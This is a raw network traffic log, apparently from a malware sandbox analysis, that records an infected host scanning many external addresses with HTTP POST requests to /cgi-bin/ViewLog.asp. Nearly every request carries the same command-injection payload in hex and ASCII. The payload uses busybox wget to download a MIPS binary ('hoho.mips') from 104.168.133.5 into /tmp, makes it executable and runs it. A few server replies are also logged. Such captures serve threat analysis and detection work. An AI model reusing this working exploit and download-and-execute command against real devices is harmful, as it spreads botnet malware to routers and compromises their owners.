                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.400487900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.736463070 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:52.344305992 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.304073095 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                696192.168.2.154831262.255.82.268080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.726452112 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                697192.168.2.153982095.222.169.1218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.732105970 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.927088022 CET328INHTTP/1.0 200 OK
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:22:43 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                698192.168.2.154205462.138.25.388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.754995108 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.728544950 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.848535061 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.248424053 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:52.856302023 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.816067934 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                699192.168.2.155602494.122.10.1388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.759687901 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                700192.168.2.153818862.29.24.2298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.771795034 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                701192.168.2.154169295.85.191.1968080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.800096035 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.060250998 CET90INHTTP/1.1 403 Forbidden


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                702192.168.2.154374485.122.221.1778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.811434984 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                703192.168.2.155857694.122.193.1618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.823134899 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                704192.168.2.154142831.200.106.1608080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.874665976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                705192.168.2.153356895.0.185.1418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.980628967 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.206686020 CET404INPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                706192.168.2.153985895.222.169.1218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:44.119234085 CET388INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:22:43 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                707192.168.2.154930494.23.240.1368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:44.528220892 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.464519024 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.639204979 CET442INHTTP/1.1 302 Moved Temporarily
                                                Server: nginx/1.10.3
                                                Date: Thu, 23 Nov 2023 04:22:45 GMT
                                                Content-Type: text/html
                                                Content-Length: 161
                                                Connection: close
                                                Location: https://192.168.0.14:8080/cgi-bin/ViewLog.asp
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.10.3</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                708192.168.2.155990494.120.251.1298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:44.569885015 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
